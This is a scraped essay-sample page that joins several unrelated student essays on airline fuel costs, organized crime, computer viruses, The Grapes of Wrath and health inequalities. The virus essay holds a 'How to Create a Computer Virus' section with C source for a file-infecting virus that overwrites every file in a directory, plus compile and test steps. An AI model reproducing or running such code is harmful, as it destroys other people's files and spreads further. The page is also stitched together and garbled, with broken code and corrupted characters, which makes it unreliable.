Oil on the Airline Industry Research Paper Example | Topics and Well Written Essays - 1000 words

Oil on the Airline Industry - Research Paper Example re – high demand and low supply leading to projections of increased fuel prices in the future, dependence on OPEC countries for fuel leading to change in political equations in the future, need for the airlines industry to look for better utilization of its resources to counter increasing oil prices and also invest in alternative green fuel. Fuel costs have become largest single cost component of the global airline industry reaching at 29% of the total operating costs in the year 2007 and 34% in 2008 as compared to 13% in 2001 as per IATA calculations (Conrady). This cost further increases to 50% for budget carriers (wikinvest.com). These calculations by IATA are based on crude price of $73/b. With increase in this price, the percentage will increase even further. The future projections of fuel consumption and hence the prices are even more disheartening if we look at the figures projected by Energy Information and Administration (EIA). They have projected the world’s petroleum products consumption to increase from 84mb/d in 2005 to 113mb/d in 2030 with even more consumption in developing economies of Asia and Middle East (Conrady). With the increase in demand for fuel there is a further threat from peaking out of oil reserves in Non-OPEC regions. 70% of the remaining reserves are hence located in OPEC countries. These countries are economically disturbed and also depend on their oil reserves for their economic growth as this sector represents a major part of their earnings. Because of this dependence on oil their predictions regarding their oil reserves is not very reliable as they will always give out biased information so as not to harm their financial and political prospects (Conrady). It has been estimated that the airline industry contributes around 2% of the greenhouse gases and 11% of the total green house gases emitted by U.S. also (Stuijt). The industry has too much dependence on fossil fuels. This is the greatest threat to this sector. The

QUIZ-1 Organized Crime Essay Example | Topics and Well Written Essays - 250 words - 1

QUIZ-1 Organized Crime - Essay Example Political beliefs do not act as a motivator to organized crime as opposed terrorism which is more of political. (McLean, J. D. 2007) In any organized crime there is always a fixer whose role is to develop contacts with the justice system and politicians and the appropriate time emerges corruption is carried out. Merton used pathological materialism to describe an American preoccupation with economic success. This later translates into focus on the goal of success rather the means by which success is achieved. The unscrupulous Robber Barons that exemplify the spirit Merton refers to as innovation. They do not care about legitimacy and in the end they emerge successful. The term culture refers to the source of patterning in human conduct. Culture plays a key role in understanding the behavior of offenders involved in organized crime Anomie is a condition that was made popular by a French sociologist Emile Durkheim in the early twentieth century. Anomie refers to a condition whereby the society does minimal effort to educate people and give them moral guidance. According to Edwin Sutherland behavior is learnt, whether it is lawful or criminal all behavior is learned. (McLean, J. D.

Background Of Studies On Computer Viruses

Background Of Studies On Computer Viruses A computer virus is a computer program that can copy itself and infect a computer. The term virus is also commonly but erroneously used to refer to other types of malware, including but not limited to adware and spyware programs that do not have the reproductive ability. A true virus can spread from one computer to another (in some form of executable code) when its host is taken to the target computer; for instance because a user sent it over a network or the Internet, or carried it on a removable medium such as a floppy disk, CD, DVD, or USB drive. Viruses can increase their chances of spreading to other computers by infecting files on a network file system or a file system that is accessed by another computer. As stated above, the term computer virus is sometimes used as a catch-all phrase to include all types of malware, even those that do not have the reproductive ability. Malware includes computer viruses, computer worms, Trojan horses, most root kits, spyware, dishonest adware and other malicious and unwanted software, including true viruses. Viruses are sometimes confused with worms and Trojan horses, which are technically different. A worm can exploit security vulnerabilities to spread itself automatically to other computers through networks, while a Trojan horse is a program that appears harmless but hides malicious functions. Worms and Trojan horses, like viruses, may harm a computer systems data or performance. Some viruses and other malware have symptoms noticeable to the computer user, but many are surreptitious or simply do nothing to call attention to them. Some viruses do nothing beyond reproducing themselves. Section 1.2 Background of Studies on Various Computer Viruses Boot Sector Viruses This type of viruses has ability to hide in boot sector. The viruses will load into memory when there is booting system and trying to read from hard disk. Boot sector viruses are more spread since old time when floppy disk was popular. But now we hardly seen them since many of them only can spread through floppy disk. This type of virus affects the boot sector of a floppy or hard disk. This is a crucial part of a disk, in which information on the disk itself is stored together with a program that makes it possible to boot (start) the computer from the disk. The best way of avoiding boot viruses is to ensure that floppy disks are write-protected and never start your computer with an unknown floppy disk in the disk drive. Examples of boot viruses include: Polyboot.B, AntiEXE. Companion Viruses Companion Viruses is another kind of viruses. When user computer infect by this sort of viruses, it will create another type file from an existing file in same directory (such as creating file.com from file.exe in the same folder), some companion viruses create file.exe from any folder. It can be considered file infector viruses like resident or direct action types. They are known as companion viruses because once they get into the system they accompany the other files that already exist. In other words, in order to carry out their infection routines, companion viruses can wait in memory until a program is run (resident viruses) or act immediately by making copies of themselves (direct action viruses). Some examples include: Stator, Asimov.1539, and Terrax.1069 Encrypted Viruses This type of viruses consists of encrypted malicious code, decrypted module. The viruses use encrypted code technique which make antivirus software hardly to detect them. The antivirus program usually can detect this type of viruses when they try spread by decrypted themselves. Logic Bomb Viruses Logic Bomb Viruses or sometime know as Time Bomb is small piece of malicious code or program which have ability to insert itself to other programs or system and perform specific action when the conditions are met (most Logic Bomb developers use date as conditions). The Logic Bomb does nothing until pre-programmed date is reached. Logic Bomb can perform any malicious things based on pre-programmed within it such as deleting file or displaying unwanted message or lock program and so on. They are not considered viruses because they do not replicate. They are not even programs in their own right but rather camouflaged segments of other programs. Their objective is to destroy data on the computer once certain conditions have been met. Logic bombs go undetected until launched, and the results can be destructive. Macro Viruses When talking about Macro Viruses, we refer to viruses which infect macro of other applications such as Microsoft Word, Microsoft Excel. The viruses are written in a macro language and use it to distribute themselves. Macro viruses will run automatically when user open document. Usually this type of virus cause harmless to your computer, but instead they are annoying by automatically inserting undesired texts or symbols. Example of Macro Virus: WM.Concept, it was introduced in 1995 the first macro virus that spread through Microsoft Word. And another popular one is Melissa that is first found in 1999, it also can spread through MS Word, Excel and Outlook. Multipartite Viruses Multipartite Viruses is type of viruses which infect user computer on both part boot sector and executable files and programs at the same time, with this condition, the viruses spread faster than boot sector or file infector alone. It changes the paths that indicate the location of a file. By executing a program (file with the extension .EXE or .COM) which has been infected by a virus, you are unknowingly running the virus program, while the original file and program have been previously moved by the virus. Once infected it becomes impossible to locate the original files Example: Ghost ball, the first multipartite virus. Nonresident Viruses This type of viruses is similar to Resident Viruses by using replication of module. Besides that, Nonresident Viruses role as finder module which can infect to files when it found one (it will select one or more files to infect each time the module is executed). Polymorphic Viruses: Polymorphic Virus is similar to encrypted viruses; it can infect files with an encrypted copy of itself. The viruses use difference technique to replicate themselves. Some polymorphic viruses are hardly to detect by antivirus software using virus signature based, because it do not remain any identical after replication. Polymorphic viruses encrypt or encode themselves in a different way (using different algorithms and encryption keys) every time they infect a system. This makes it impossible for anti-viruses to find them using string or signature searches (because they are different in each encryption) and also enables them to create a large number of copies of themselves. Examples include: Elkern, Marburg, Satan Bug, and Tuareg. Resident Viruses Resident Viruses or known as Memory Resident Viruses is malicious module. The viruses can replicate module and installing malicious code into computer memory (RAM). The viruses are commonly classified into two main categories: Fast Infectors and Slow Infectors. This type of virus is a permanent which dwells in the RAM memory. From there it can overcome and interrupt all of the operations executed by the system: corrupting files and programs that are opened, closed, copied, renamed etc. Examples include: Randex, CMJ, Meve, and MrKlunky. Stealth Viruses / Worm Stealth Viruses is some sort of viruses which try to trick anti-virus software by intercepting its requests to the operating system. It has ability to hide itself from some antivirus software programs. Therefore, some antivirus program cannot detect them. A worm is a program very similar to a virus; it has the ability to self-replicate, and can lead to negative effects on your system and most importantly they are detected and eliminated by antivirus. Examples of worms include: PSWBugbear.B, Lovgate.F, Trile.C, Sobig.D, and Mapson. Section 1.3.1 Research Question 1. How did the diff. types of computer Viruses Created when, where, by whom? 2. How are they attack/work on the end user computers? 3. How we protect ourself from such type of computer viruses? 4. What will be the future trend of computer viruses? Section 1.3.2 Research Aim The research aims at understanding how Computer viruses is evolving and attacking on day to day computer business Section 1.3.3 Research Objective The objective of this research is to help to the User of Computer to make decisions on the how to solved the problem created because of computer viruses from a long time perspectives.Also to develop contrasting measure between the creator of computer viruses and the end user of the computer. Section 1.3.4 Research Hypothesis Many of the viruses that have had the greatest impact have been intended to be totally benign. Unfortunately, small errors in program code have led to disastrous results. The most frequent such error is when a virus program, which was intended to infect a computer only once, doesnt realize it has already done its job, and keeps infecting the computer over and over. This was the problem with the infamous virus released at Cornell University on November 2, 1988, by Robert Morris, Jr., which rapidly brought the entire Internet system of computers to its knees. Where the small drain of a single virus can pass unnoticed by a computer system, millions of viruses can fill every bit of memory and use up every cycle of computing power of the computer they have invaded. The hidden message revealed by the widely publicized cases of infection by computer viruses is that existing computer systems of all sorts could be making very large errors that have never been recognized. This means the computer systems that take care of every aspect of the worlds financial life, computer systems that keep personal records on you and me, computer systems that support the military capabilities of the super-powers. Good system developers test systems thoroughly before installation, attempting to test every possible logic path. However, with a system of any reasonable level of complexity, this is an impossible task, so a major system is likely only to have been thoroughly tested for frequently occurring events. Its the infrequently occurring events, and especially the unforeseen combinations of events, that are the bane of systems developers. And those are also the areas where Poincares admonition is most likely to come into play. Chapter 2 Literature Review What is Computer virus? Term was first used by Fred Cohen in 1984. A computer virus is a small program a computer virus is a computer program that can copy itself and infect a computer. The term virus is also commonly but erroneously used to refer to other types of malware, including but not limited to adware and spyware programs that do not have the reproductive ability. A true virus can spread from one computer to another (in some form of executable code) when its host is taken to the target computer; for instance because a user sent it over a network or the Internet, or carried it on a removable medium such as a floppy disk, CD, DVD, or USB drive. Viruses can increase their chances of spreading to other computers by infecting files on a network file system or a file system that is accessed by another computer. As stated above, the term computer virus is sometimes used as a catch-all phrase to include all types of malware, even those that do not have the reproductive ability. Malware includes computer viruses, computer worms, Trojan horses, most root kits, spyware, dishonest adware and other malicious and unwanted software, including true viruses. Viruses are sometimes confused with worms and Trojan horses, which are technically different. A worm can exploit security vulnerabilities to spread itself automatically to other computers through networks, while a Trojan horse is a program that appears harmless but hides malicious functions. Worms and Trojan horses, like viruses, may harm a computer systems data or performance. Some viruses and other malware have symptoms noticeable to the computer user, but many are surreptitious or simply do nothing to call attention to them. Some viruses do nothing beyond reproducing themselves History of Computer viruses The first academic work on the theory of computer viruses (although the term computer virus was not invented at that time) was done by John von Neumann in 1949 that held lectures at the University of Illinois about the Theory and Organization of Complicated Automata. The work of von Neumann was later published as the Theory of self-reproducing automata In his essay von Neumann postulated that a computer program could reproduce. In 1972 Veith Risak published his article Selbstreproduzierende Automaton mitt minimaler Informationsà ¼bertragung (Self-reproducing automata with minimal information exchange). The article describes a fully functional virus written in assembler language for a SIEMENS 4004/35 computer system. In 1984 Fred Cohen from the University of Southern California wrote his paper Computer Viruses Theory and Experiments It was the first paper to explicitly call a self-reproducing program a virus; a term introduced by his mentor Leonard Adelman. An article that describes useful virus functionalities was published by J. B. Gunn under the title Use of virus functions to provide a virtual APL interpreter under user control in 1984. Science Fiction The Terminal Man, a science fiction novel by Michael Crichton (1972), told (as a sideline story) of a computer with telephone modem dialing capability, which had been programmed to randomly dial phone numbers until it hit a modem that is answered by another computer. It then attempted to program the answering computer with its own program, so that the second computer would also begin dialing random numbers, in search of yet another computer to program. The program is assumed to spread exponentially through susceptible computers. The actual term virus was first used in David Gerrolds 1972 novel, When HARLIE Was One. In that novel, a sentient computer named HARLIE writes viral software to retrieve damaging personal information from other computers to blackmail the man who wants to turn him off. Virus programs History The Creeper virus was first detected on ARPANET, the forerunner of the Internet, in the early 1970s. Creeper was an experimental self-replicating program written by Bob Thomas at BBN Technologies in 1977 Creeper used the ARPANET to infect DEC PDP-10 computers running the TENEX operating system. Creeper gained access via the ARPANET and copied itself to the remote system where the message, Im the creeper, catch me if you can! was displayed. The Reaper program was created to delete Creeper. A program called Elk Cloner was the first computer virus to appear in the wild that is, outside the single computer or lab where it was created. Written in 1981 by Richard Skeena, it attached itself to the Apple DOS 3.3 operating system and spread via floppy disk. This virus, created as a practical joke when Skeena was still in high school, was injected in a game on a floppy disk. On its 50th use the Elk Cloner virus would be activated, infecting the computer and displaying a short poem beginning Elk Cloner: The program with a personality. The first PC virus in the wild was a boot sector virus dubbed (c) Brain, created in 1986 by the Farooq Alvin Brothers in Lahore, Pakistan, reportedly to deter piracy of the software they had written. Before computer networks became widespread, most viruses spread on removable media, particularly floppy disks. In the early days of the personal computer, many users regularly exchanged information and programs on floppies. Some viruses spread by infecting programs stored on these disks, while others installed themselves into the disk boot sector, ensuring that they would be run when the user booted the computer from the disk, usually inadvertently. PCs of the era would attempt to boot first from a floppy if one had been left in the drive. Until floppy disks fell out of use, this was the most successful infection strategy and boot sector viruses were the most common in the wild for many years. Traditional computer viruses emerged in the 1980s, driven by the spread of personal computers and the resultant increase in BBS, modem use, and software sharing. Bulletin board-driven software sharing contributed directly to the spread of Trojan horse programs, and viruses were written to infect popularly traded software. Macro viruses have become common since the mid-1990s. Most of these viruses are written in the scripting languages for Microsoft programs such as Word and Excel and spread throughout Microsoft Office by infecting documents and spreadsheets. Since Word and Excel were also available for Mac OS, most could also spread to Macintosh computers. Although most of these viruses did not have the ability to send infected e-mail, those viruses which did take advantage of the Microsoft Outlook COM interface. Some old versions of Microsoft Word allow macros to replicate themselves with additional blank lines. If two macro viruses simultaneously infect a document, the combination of the two, if also self-replicating, can appear as a mating of the two and would likely be detected as a virus unique from the parents. A virus may also send a web address link as an instant message to all the contacts on an infected machine. If the recipient, thinking the link is from a friend (a trusted source) follows the link to the website, the virus hosted at the site may be able to infect this new computer and continue propagating. Viruses that spread using cross-site scripting were first reported in 2002, and were academically demonstrated in 2005. There have been multiple instances of the cross-site scripting viruses in the wild, exploiting websites such as MySpace and Yahoo. Time line of computer viruses: In the early years floppy disks (removable media) were in fact the in the late 80s. Ultimately of course, the internet in all its forms became the major source of infection. YEAR VIRUS NAME BY WHOM TYPE 1982 ELK CLONER RICH SKRENTA 1983 COMPUTER VIRUS FRED COHEN 1986 BRAIN PAKISTAN BOOT SECTOR 1988 ARPANET ROBBERT MORRIS ENCRYPTED 1989 AIDS TROJAN 1990 ANTI-VIRUS S/W 1991 NON-ANTI S/W SYMANTEC POLYMORPHIC 1994 HOAX 1995 WORD 1999 MELLISA DAVID L. SMITH 2000 I LOVE U FILIPINE STUDENT 2001 CODE RED WORM 2003 SLAMMER 2004 MY DOON/NOVARG 2005 COMMWARRIOR-A RUSSIA CELL PHONE 2008 CONFICKER 2009 CYNER ATTACK W32.DOZOR 2010 STUNEXT TROJAN 2011 HTTP BOT BLACK SHADES Programming language used for creating Computer Viruses: C C++ Assembler PHP JAVA SCRIPT VB SCRIPT MICRO LANGUAGE/CODE How Computer Viruses Work As youll see in the next section, the term virus was applied to this type of software very early in its history. Its an apt metaphor, because a computer virus is, in many ways, similar to the biological Viruses that attack human bodies. A biological virus isnt truly a living, independent entity; as biologists will tell you, a virus is nothing more than a fragment of DNA sheathed in a protective jacket. It reproduces by injecting its DNA into a host cell. The DNA then uses the host cells normal mechanisms to reproduce itself. A computer virus is like a biological virus in that it also isnt an independent entity; it must Piggyback on a host (another program or document) in order to propagate. How a virus infects your computer 1. Virus program is launched. 2. Virus code is loaded into PC memory. 3. Virus delivers its destructive payload. 4. Virus copies itself to other programs. How Computer Viruses Work 5 If all a virus did was copy itself to additional programs and computers, there would be little Harm done, save for having all our programs get slightly larger (thanks to the virus code). Unfortunately, most viruses not only replicate themselves, they also perform other operations-many of which are wholly destructive. A virus might, for example, delete certain files on your computer. It might overwrite the boot sector of your hard disk, making the disk inaccessible. It might write Messages on your screen, or cause your system to emit rude noises. It might also hijack your E-mail program and use the program to send it to all your friends and colleagues, thus replicating itself to a large number of PCs. Viruses that replicate themselves via e-mail or over a computer network cause the subsidiary Problem of increasing the amount of Internet and network traffic. These fast-replicating viruses Called worms can completely overload a company network, shutting down servers and forcing ten s of thousands of users offline. While no individual machines might be damaged, this type of Communications disruption can be quite costly. As you might suspect, most viruses are designed to deliver their payload when theyre first executed. However, some viruses wont attack until specifically prompted, typically on a predetermined Date or day of the week. They stay on your system, hidden from sight like a sleeper Agent in a spy novel, until theyre awoken on a specific date; then they go about the work them were programmed to do. In short, viruses are nasty little bits of computer code, designed to inflict as much damage As possible, and to spread to as many computers as possible-a particularly vicious combination. How to Create a Computer Virus? This program is an example of how to create a virus in C. This program demonstrates a simple virus program which upon execution (Running) creates a copy of itself in the other file. Thus it destroys other files by infecting them. But the virus infected file is also capable of spreading the infection to another file and so on. Heres the source code of the virus program. #include #include #include #include #include #include FILE *virus,*host; int done, a=0; unsigned long x; char buff[2048]; struct ffblk ffblk; clock_t st,end; void main() { st=clock(); clrscr(); done=findfirst(*.*,ffblk,0); while(!done) { virus=fopen(_argv[0],r3. Virus delivers its destructive payload. b); host=fopen(ffblk.ff_name,rb+); if(host==NULL) goto next; x=89088; printf(Infecting %sn,ffblk.ff_name,a); while(x>2048) { fread(buff,2048,1,virus); fwrite(buff,2048,1,host); x-=2048; } fread(buff,x,1,virus); fwrite(buff,x,1,host); a++; next: { fcloseall(); done=findnext(ffblk); } } printf(DONE! (Total Files Infected= %d),a); end=clock(); printf(TIME TAKEN=%f SECn, (end-st)/CLK_TCK); getch(); } COMPILING METHOD: USING BORLAND TC++ 3.0 (16-BIT): 1. Load the program in the compiler, press Alt-F9 to compile 2. Press F9 to generate the EXE file (DO NOT PRESS CTRL-F9,THIS WILL INFECT ALL THE FILES IN CUR DIRECTORY INCLUDIN YOUR COMPILER) 3. Note down the size of generated EXE file in bytes (SEE EXE FILE PROPERTIES FOR ITS SIZE) 4. Change the value of X in the source code with the noted down size (IN THE ABOVE SOURCE CODE x= 89088; CHANGE IT) 5. Once again follow the STEP 1 STEP 2.Now the generated EXE File is ready to infect USING BORLAND C++ 5.5 (32-BIT) : 1. Compile once, note down the generated EXE file length in bytes 2. Change the value of X in source code to this length in bytes 3. Recompile it. The new EXE file is ready to infect HOW TO TEST: 1. Open new empty folder 2. Put some EXE files (BY SEARCHING FOR *.EXE IN SEARCH PASTING IN THE NEW FOLDER) 3. Run the virus EXE file there you will see all the files in the current directory get infected. 4. All the infected files will be ready to re-infect. Why Viruses Exist Computer viruses, unlike biological viruses, dont spring up out of now here-theyre created. By people. And the people-programmers and developers, typically-who create computer viruses Know what theyre doing. These code writers deliberately create programs that they know will Wreak havoc on huge numbers of computer users. The question is why? It takes some degree of technical skill to create a virus. To that end, creating a computer Virus is no different than creating any other computer application. Any computer programmer or Developer with a minimal amount of skill can create a virus-all it takes is knowledge of a programming Language, such as C, Visual Basic, or Java, or a macro language, such as VBA. By using a build your own virus program-of which there are several available, Via the Internet underground. So, by definition, a virus writer is a person with a certain amount of technical expertise. But Instead of using that expertise productively, virus writers use it to generate indiscriminate mayhem among other computer users. This havoc-wreaking is, in almost all instances, deliberate. Virus writers intend to be destructive. They get some sort of kick out of causing as much damage as possible, from the relative Anonymity of their computer keyboards. Understanding Computer Viruses In addition, some developers create viruses to prove their technical prowess. Among certain Developers, writing a successful virus provides a kind of bragging right, and demonstrates, in some warped fashion, that the writer is especially skilled. Unfortunately, the one attribute that virus writers apparently lack is ethical sense. Virus programs can be enormously destructive, and it takes a peculiar lack of ethics to deliberately perpetrate such destruction on such a wide scale. In the end, a virus writer is no better than a common vandal. Except for the technical expertise required, the difference between throwing a rock through a window and destroying PC files via a virus is minimal. Some people find pleasure in destruction, and in our high-tech age, such Pleasure can come from writing destructive virus code. What You Can Do About Computer Viruses Theres very little you can do, on a personal level, to discourage those high-tech vandals who create Virus programs. There are plenty of laws already on the books that can be used to prosecute these criminals, and such criminal investigations-and prosecutions-have become more common in recent years. However, as with most criminal activity, the presence of laws doesnt always mean there are fewer criminals; the truth is, theres a new batch of virus writers coming online every day. All of which means that you cant rely on anyone else to protect you from these virus-writing Criminals. Ultimately, you have to protect yourself. Reducing Your Chances of Infection To make yourself less of a target for virus infection, take the following steps: Restrict your file downloading to known or secure sources. The surest way to catch a virus is to download an unknown file from an unknown site; try not to put you at risk like this unless you absolutely have to. Dont open any e-mail attachments you werent expecting. The majority of viruses today arrive in your mailbox as attachments to e-mail messages; resist the temptation to open or view every file attachment you receive. Use an up-to-date anti-virus program or service. Antivirus programs work; they scan the files on your computer (as well as new files you download and e-mail messages you receive) and check for any previously identified viruses. Theyre a good first line of defence, As long as you keep the programs up-to-date with information about the very latest viruses and most antivirus programs make it easy to download updates. Enable macro virus protection in all your applications. Most current Microsoft Applications include special features that keep the program from running unknown macros and thus prevent your system from being infected by macro viruses. Create backup copies of all your important data. If worse comes to worst and your Entire system is infected; you may need to revert to no infected versions of your most critical Files. You cant do this unless you plan ahead and back up your important data. Preventing Viruses Attacks. Diagnosing a Virus Infection How do you know if your computer has been infected with a virus? In short, if it starts acting Funny-doing anything it didnt do before-then a probable cause is some sort of computer Virus. Here are some symptoms to watch for: à ¢Ã¢â€š ¬Ã‚ ¢ Programs quit working or freeze up. à ¢Ã¢â€š ¬Ã‚ ¢ Documents become inaccessible. à ¢Ã¢â€š ¬Ã‚ ¢ Computer freezes up or wont start properly. à ¢Ã¢â€š ¬Ã‚ ¢ The CAPS LOCK key quits working-or works intermittently. à ¢Ã¢â€š ¬Ã‚ ¢ Files increase in size. à ¢Ã¢â€š ¬Ã‚ ¢ Frequent error messages appear onscreen. à ¢Ã¢â€š ¬Ã‚ ¢ Strange messages or pictures appear onscreen. à ¢Ã¢â€š ¬Ã‚ ¢ Your PC emits strange sounds. à ¢Ã¢â€š ¬Ã‚ ¢ Friends and colleagues inform you that theyve received strange e-mails from you, that you dont remember sending. How to Catch a Virus. Recovering from a Virus Attack If youre unfortunate enough to be the victim of a virus attack, your options narrow. You have to find the infected files on your computer, and then either dies-infects them (by removing the virus Code) or delete them-hopefully before the virus has done any permanent damage to your system. You dont, however, have to give up and throw your computer away. Almost all viruses can be recovered from-some quite easily. All you need is a little information, and the right tools. The right tools include one of the major antivirus programs discussed in Anti-Virus Software and Services. These programs-such as Norton Antivirus

Free Grapes of Wrath Essays: The Joads Journey :: Grapes Wrath essays

The Joad's Journey in The Grapes of Wrath Throughout history man has made many journeys, both far and wide. Moses’ great march through the Red Sea and Columbus's traversing the Atlantic are examples of only a couple of men’s great voyages. Even today, great journeys are being made. Terry Fox's run across Canada while fighting cancer is one of these such journeys. In every one of these instances people have had to rise above themselves and overcome immense odds, similar to a salmon swimming upstream to full fill it's life line. Intense drive and extreme fortitude are qualities they needed to posses during their travels. In The Grapes of Wrath, Steinbeck illustrates the Joad’s endurance by his use of extended metaphors in intercalary chapters. Steinbeck uses intercalary chapters to provide background for the various themes in the novel. He effectively foreshadows upcoming events by telling of the general state of the local population in the intercalary chapters. He then narrows it down to how it effects the main characters of the novel, which are the Joads. Setting the tone of the novel in the reader’s mind is another function of Steinbeck's intercalary chapters. In chapter three, Steinbeck immaculately describes the long, tedious journey of a land turtle across a desolate highway. From the onset of his journey, the turtle encounters many setbacks. Along the way ants, hills, and oak seeds hinder him under his shell. The turtle’s determination to reach his destination is most apparent when a truck driven by a young man swerves to hit the turtle. The turtle's shell is clipped and he goes flying off the highway, but the turtle does not stop. He struggles back to his belly and keeps driving toward his goal, just as the Joads keep driving toward their goal. Much like the turtle from chapter three, the Joads had to face many great hardships in their travels. The planes of Oklahoma, with their harsh summer weather, were the Joads desolated highways. The truck driver represented the Californians, who Buried food and killed livestock to keep the Joads and others like them away from their dream. And their ants and hills were sickness. Even through all of this, the Joads persevered. They were driven by two great motivating powers, poverty and hunger. Just as the turtle searched for food, the Joads were searching for paradise, "The Garden of Eden.

Inequalities in health Essay

Introduction. Mildred Baxter conducted a survey in 1990 on Health and Lifestyles, and asked 10,000 people how they defined health, her results were defined by Three answers: – Positive Definitions- where health is defined as feeling fit and able to undertake any reasonable task. Negative Definitions- where health is defined in terms of being free from pain and discomfort. Functional Definitions- where people define health in terms of being able to perform a range of tasks. Whereas Medical Definitions state that: – Illness is always based on an identifiable (physical/mental) cause. Illnesses and their causes can be identified, classified and measured. The cure lies in the physical body of a person, not their social relationships or their spiritual life. There is reliance upon drugs and surgery. During this essay I will be looking at the inequalities, (inequalities means that something is not equal to something else), in Health, with regards to class, ethnics, gender and age. There are several possible explanations for inequalities in health, these include: – Social and material reasons, (whereby because of poverty in society, it leads to ill health, because of poor housing, nutrition, etc), Cultural, religion reasons, (because of the difference in diet, and certain beliefs and habits that effect health), The effect an individual has on his or her own health, (by choosing what they eat, drink and whether they smoke or not). Social class We could argue that the standard of healthcare in different social classes are because of geographical reasons, and the level of funding that the government gives to poorer, lower class areas compared to the level that is given to richer, middle/higher class areas. This can be seen in the Black Report (1980) and The Health Divide (1987). These reports clearly show such strong evidence of social class inequalities in health that the government tried to suppress the findings. The Acheson report (1998) then went on to confirm the evidence of social class inequalities and recommend more help for poorer social classes by a means of improving their health. We can also clearly see from research that lower, poorer classes have a higher mortality rate, (including infant), than the higher classes, these are mainly seen in Respiratory Disease, Injuries and poisoning and Cerebro-vascular Disease, this is because lower classes tend to work mainly in manual work, (factories with dangerous machinery, working in bad weather conditions, etc). Tudor-Hart (1971), first suggested in the Inverse Care Law, that higher class that need it least gets more resources and lower classes that needs it most gets the least resources, So social class inequalities are made worse by inequalities in the NHS, this is because poorer areas don’t have as many GP practices, they have to depend on public transport, and are more likely to loose pay for taking time off. Whereas it is thought that the middle/higher classes have the resources to find out what healthcare they are entitled to, and are more likely to fight against poor health services, and are able to jump NHS waiting lists by paying privately. We can argue that material explanations suggest that those who suffer poor health do not have a healthy balanced diet, inadequate housing conditions, lack of education and joblessness, all stem from poverty, which shows the link between material deprivation and ill-health. Criticisms;- We can argue that poverty and class status in society is not just the reasons for poor health; it also comes down to the individual choices and cultural choices that are made by people in their life. We are not told we have to smoke or drink or take drugs, we do it because we want to, which we can argue is one of the reasons Respiratory Diseases and Heart disease are on the increase. We can also argue that another reason why these diseases and other health problems, such as obesity, which is high in lower classes, are on the increase is because of the cheap unhealthy food that is being eaten, and lack of exercise, is also an individual choice. Ethnic Inequalities We can argue that Ethnic groups experience poor levels of health as a result of inequalities in the health service. A comprehensive survey (The Health of Britain’s Ethnic minorities), was conducted in 1997 by James Nazroo, his findings challenged the view that biology and culture were the main factors that explained the health of ethnic groups in the UK, but instead focused on the importance of socio-economic factors. The findings found that: – people from black and Indian minorities are more likely to suffer from TB, Diabetes and Heart Disease, people from ethnic minorities are more likely to be hospitalised for mental illnesses, and most ethnic minorities show higher rates of still births, prenatal deaths and infant deaths as well as higher mortality rate. We can see from research conducted by the Health Authority that up to 50% of ethnic minorities described themselves as having poor health. We could argue that the reasons for this is because of poverty and material deprivation, while racism and discrimination also play an important factor, Minority groups have the lowest income, the worst housing, and the highest unemployment rates in the UK. We can also argue that other cultural reasons such as language barriers, religious reasons and the lack of knowledge of the dietary needs for ethnic minorities, from health professionals may lead to ethnic minorities not seeking medical advice and thus having poorer health. Criticisms: – We can argue that not all ethnic minorities share the same level of inequalities, Black African, Caribbean; ethnic groups are more accepted in society than Asians, Chinese groups make more money than Bangladeshi groups. We can also argue that it is also down to social class, a middle class ethnic minority doctor is more likely to be accepted than an unemployed lower class ethnic minority. We can also argue that it also individual choices that lead to inequalities, e. g.social exclusion, a lot of minority do not integrate in the community, instead they stay in groups of their own race. Ethnic minorities also believe that a strong sense of cultural identity protects against the effects of poverty. Gender Inequalities Through research we have found than women on the whole are healthier than men and that women’s mortality rates are lower than that of men. According to Hilary Graham (2002), men have fewer consultations with GP’s and have lower levels of illness. We could argue that this is because in society from the time we are born we are taught a â€Å"normal† role in society, firstly by our parents and then by schools, media etc, and boys and girls from a young age are given toys, (dolls, cleaning toys etc for girl, tools, cars etc for boys), which gives them a stereotypical role that is expected of them, because of this it is much excepted in society that women can go to the doctors more because they are a weaker sex, where a man is expected to be masculine and except illness. We could also argue that men mostly work in manual jobs, and that is why they have a higher mortality rate, whereas women take on a more domestic role, looking after the home and children, although we could argue that this is a large reason why women visit the doctors more often than men, according to Ellen Annandale (1998) women who work have better levels of health than those who do not, because of the sense of independence and a wider social network, thus lowering the number of women with depression. It has also been found that women are more like to be living in poverty than men, because for example most single parents are women on a low income. Criticisms: – We could argue that gender inequalities are lowering due to more women now having equal educational opportunities and having equal roles in a work place, it is now not so frowned upon that a man stays home with the children and women go to work. More women have become more career minded and education have become more â€Å"women† friendly. We can also argue that domestic labour has become easier for women in the home with the development of technology e.g. dishwashers, washing machines etc. There is also evidence to suggest women are biologically stronger than men, more male babies die than female, and they have a higher biological possibility of living longer. Age Inequalities We can argue that elderly peoples’ opinions of health differ greatly from those of younger people; elderly people accept a range of physical pain and limitations, whereas younger people would define them as symptoms of illness. We re-evaluate what illness is as we get older and accept greater levels of discomfort as â€Å"one of those things†, that comes with age. Mildred Baxter in her survey of Health found that young people define health in terms of physical fitness, whereas older people defined it in terms of being able to cope with everyday tasks. We can also argue that the poverty elderly people face also contribute towards ill health, because they cannot afford adequate heating, balanced diet etc, because the live on a low income, or may not know the benefits they are entitled to. Research has also found that elderly people do not visit the doctor because they see themselves as â€Å"wasting time†. Criticisms: – We can argue that inequalities can again occur because of individual choices, it could be argued that a poor diet is not just because of low income but they may live alone and cannot be bothered to cook for themselves. We also see that social class plays a part, because wealthy elderly people do not face the same inequalities in health as lower class elderly people. We can also see that the government have taken steps to improve the health of elderly people by introducing the flu vaccine and by giving heating grants etc. Conclusion. To conclude I think that there are no strong arguments to say that there is one specific social or materialist explanation for inequalities in health. I think that there are a number of factors that contribute towards inequalities, from geographical, social, financial, cultural, economical, religious reasons, to biological reasons. I also think that the choices we make as individuals’ plays a major factor towards the inequalities that we encounter in heath, and by changing certain things in our life that we have control over there would be fewer inequalities.

Writing Skills Part

